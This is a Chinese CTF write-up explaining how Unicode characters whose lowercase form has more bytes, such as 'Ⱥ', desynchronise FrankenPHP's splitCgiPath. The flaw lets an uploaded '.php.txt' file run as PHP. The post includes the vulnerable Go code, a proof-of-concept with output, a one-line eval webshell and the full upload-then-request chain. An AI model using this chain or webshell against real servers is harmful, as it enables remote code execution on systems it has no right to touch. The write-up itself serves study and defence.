利用Unicode字节扰乱FrankenPHP FastCGI路径拆分匹配PHP

  |  

起因是某次比赛中遇到遇到奇怪的文件上传的题目,一直看不懂,但是赛后无意间刷到一篇文件分析提到记录Unicode字节可以FrankenPHP FastCGI路径拆分不严谨匹配来执行代码。所有记录下思路。

题目分析

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
$filename = basename($_GET['filename'] ?? 'phpinfo.php');
file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
echo "File created.";
} elseif ($action === 'upload') {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
$extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
if ($extension === 'txt') {
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "File uploaded successfully.";
}
}
}
} else {
highlight_file(__FILE__);
}

分析代码有两个功能:

create 功能:创造一个内容为 <?php phpinfo(); ?>的文件,文件名为我们GET方式传入的filename

upload功能:上传一个文件,文件后缀必须以txt结尾。

create 功能,中我们可以控制的就是文件名,内容被写死为phpinfo()。

可见问题的在。upload功能上 ,想办法绕过限制上传php,但是仔细分析下该部分代码:

1
2
3
4
5
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) #检查是不是是文件类型
{
$uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); //basename()去掉目录部分,获得基础文件名
$extension = pathinfo($uploadFile, PATHINFO_EXTENSION); #pathinfo加上 PATHINFO_EXTENSION参数,获得最后的后缀名称
if ($extension === 'txt')

basename()去掉目录部分,获得基础文件名。pathinfo加上 PATHINFO_EXTENSION参数获得最后的后缀名称。导致上传文件必须是以txt为后缀。

尝试各种绕过,均无果…….

FrankenPHP FastCGI路径拆分匹配

原以为无果,后面在找到一篇文章’https://articles.zsxq.com/id_b2jgfocuqow5.html',提到我们忽略了一个出题者的小巧思,`create` 功能让我们能创造php文件来自行phpinfo();,我们读取phpinfo内容可以发现,server api 由FrankenPHP进行实现的,

image-20260110175445917

分析FrankenPHP的路径相关的处理代码(https://github.com/php/frankenphp/blob/main/cgi.go)我们可以发现实现路径的相关函数 splitCgiPath:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// splitCgiPath splits the request path into SCRIPT_NAME, SCRIPT_FILENAME, PATH_INFO, DOCUMENT_URI
func splitCgiPath(fc *frankenPHPContext) {
// 获取请求路径和分割配置
path := fc.request.URL.Path
splitPath := fc.splitPath

// 如果没有设置分割路径,则默认使用 ".php" 作为分割点
if splitPath == nil {
splitPath = []string{".php"}
}

// 查找分割位置,如果找到有效位置则进行路径分解
if splitPos := splitPos(path, splitPath); splitPos > -1 {
// 设置 DOCUMENT_URI 为从开头到分割点的路径部分
fc.docURI = path[:splitPos]

// 设置 PATH_INFO 为从分割点开始的剩余路径部分
fc.pathInfo = path[splitPos:]

// 通过剥离 PATH_INFO 部分来获得 SCRIPT_NAME(即脚本名称)
fc.scriptName = strings.TrimSuffix(path, fc.pathInfo)

// 确保 SCRIPT_NAME 以斜杠开头,符合 RFC3875 标准
// 参考: https://tools.ietf.org/html/rfc3875#section-4.1.13
if fc.scriptName != "" && !strings.HasPrefix(fc.scriptName, "/") {
fc.scriptName = "/" + fc.scriptName
}
}

// TODO: 是否可以延迟执行并避免将所有信息保存在上下文中?
// SCRIPT_FILENAME 是 SCRIPT_NAME 的绝对路径
fc.scriptFilename = sanitizedPathJoin(fc.documentRoot, fc.scriptName)

// 根据脚本文件的完整路径获取对应的 worker(PHP 执行环境)
fc.worker = getWorkerByPath(fc.scriptFilename)
}

可以看到我们请求的过程中,请求路径path 先被先被splitPos分割成scriptName ( 脚本名称)、docURI(文档 URI)、pathInfo(路径信息部分)、scriptFilename(脚本文件名称)。继续跟进到splitPos函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
func splitPos(path string, splitPath []string) int {
if len(splitPath) == 0 {
return 0
}

lowerPath := strings.ToLower(path)
for _, split := range splitPath {
if idx := strings.Index(lowerPath, strings.ToLower(split)); idx > -1 {
return idx + len(split)
}
}
return -1
}

到一个地方,strings.ToLower 把大写字母转为小写字母,再拼接计算字符串长度。

但是 Unicode编码的字符,在大小转换后字符的长度会发生变化(小写比大写长),对应一些编程语言来说这是一个差异。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package main

import "fmt"

func main() {
str1 := "ⱥ"
str2 := "Ⱥ"

// 打印每个字符串的长度
fmt.Printf("\"%s\" length: %d\n", str1, len(str1))
fmt.Printf("\"%s\" length: %d\n", str2, len(str2))
}

=============输出结果=============
"ⱥ" length: 3
"Ⱥ" length: 2

可以看到,在我们运行go语言后”Ⱥ”要比小写字母的”ⱥ”长度要小。

因此我们若上传一个’Ⱥ.php’长度为7变成小写’ⱥ.php’长度就是8了。

但是在对path进行分割时候,文件名称并没有被转换为小写,因此在splitPos切割时会存在差异。导致后续 path分割出来的,scriptName、docURI、pathInfo存在差异。

我们写一个脚本来验证下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package main

import "fmt"
import "strings"
func splitPos(path string, splitPath []string) int {
if len(splitPath) == 0 {
return 0
}

lowerPath := strings.ToLower(path)
fmt.Printf("lowerPath:\"%s\"\n", lowerPath)
for _, split := range splitPath {
if idx := strings.Index(lowerPath, strings.ToLower(split)); idx > -1 {
fmt.Printf("len:\"%d\"\n", idx + len(split))
return idx + len(split)
}
}
return -1
}
func main() {

path:="AAAA1.php"
docURI :=""
pathInfo:=""
scriptName:=""

// 如果没有设置分割路径,则默认使用 ".php" 作为分割点

splitPath := []string{".php"}

fmt.Printf("path:\"%s\"\n", path)
// 查找分割位置,如果找到有效位置则进行路径分解
if splitPos := splitPos(path, splitPath); splitPos > -1 {
// 设置 DOCUMENT_URI 为从开头到分割点的路径部分
docURI = path[:splitPos]
fmt.Printf("docURI:\"%s\"\n", docURI)
// 设置 PATH_INFO 为从分割点开始的剩余路径部分
pathInfo = path[splitPos:]
fmt.Printf("pathInfo:\"%s\"\n", pathInfo)
// 通过剥离 PATH_INFO 部分来获得 SCRIPT_NAME(即脚本名称)
scriptName = strings.TrimSuffix(path, pathInfo)
fmt.Printf("scriptName:\"%s\"", scriptName)
}

}

分别执行AAAA1.phpAAAA1.php.txtȺȺȺȺ1.php.txtȺȺȺȺ1.php.txt.php文件个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
path:"AAAA1.php"
lowerPath:"aaaa1.php"
len:"9"
docURI:"AAAA1.php"
pathInfo:""
scriptName:"AAAA1.php"



path:"AAAA1.php.txt"
lowerPath:"aaaa1.php.txt"
len:"9"
docURI:"AAAA1.php"
pathInfo:".txt"
scriptName:"AAAA1.php"


path:"ȺȺȺȺ1.php.txt"
lowerPath:"ⱥⱥⱥⱥ1.php.txt"
len:"17"
docURI:"ȺȺȺȺ1.php.txt"
pathInfo:""
scriptName:"ȺȺȺȺ1.php.txt"


path:"ȺȺȺȺ1.php.txt.php"
lowerPath:"ⱥⱥⱥⱥ1.php.txt.php"
len:"17"
docURI:"ȺȺȺȺ1.php.txt"
pathInfo:".php"
scriptName:"ȺȺȺȺ1.php.txt"

可以看到 ȺȺȺȺ1.php.txt原本我们想要的是docURI:”ȺȺȺȺ1.php“但是被解析为docURI:”ȺȺȺȺ1.php.txt” ,scriptName也同样出现偏差。这样与
“ȺȺȺȺ1.php.txt.php”解析的结果相同。

1
2
3
4
root@e031e9ae25e7:/app/public# cat ''$'\310\272\310\272\310\272\310\272''1.php.txt'   
<?php eval($_POST[1])?>
root@e031e9ae25e7:/app/public# cat ''$'\310\272\310\272\310\272\310\272''1.php.txt.php'
<?php phpinfo(); ?>root@e031e9ae25e7:/app/public#

从而,当目录下同时有ȺȺȺȺ1.php.txtȺȺȺȺ1.php.txt.php,

我访问ȺȺȺȺ1.php.txt.php,却被解析为ȺȺȺȺ1.php.txt的内容

image-20260111004551192

回到题目

因此我们可以写一个update html代码,上传一个包含4个小写比大写字节数跟长Unicode字节的字符加后缀为’’.php.txt”的文件(ȺȺȺȺ1.php.txt)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>上传示例</title>
</head>
<body>
<!-- 注意 enctype="multipart/form-data" -->
<form action="https://localhost/index.php?action=upload"
method="post"
enctype="multipart/form-data">

<!-- 1. 文件输入框 -->
<label for="file">选择一个文本文件:</label>
<input type="file" id="file" name="file" required>

<!-- 2. 提交按钮 -->
<button type="submit">上传</button>
</form>
</body>
</html>

再用创造一个比我们上传的文件名多一个”.php”的后缀的文件(ȺȺȺȺ1.php.txt.php)。

再访问ȺȺȺȺ1.php.txt.php,我们就得到我们的shell。

image-20260111200737411

参考文献

https://articles.zsxq.com/id_b2jgfocuqow5.html

文章目录
  1. 题目分析
  2. FrankenPHP FastCGI路径拆分匹配
  3. 回到题目
  4. 参考文献
|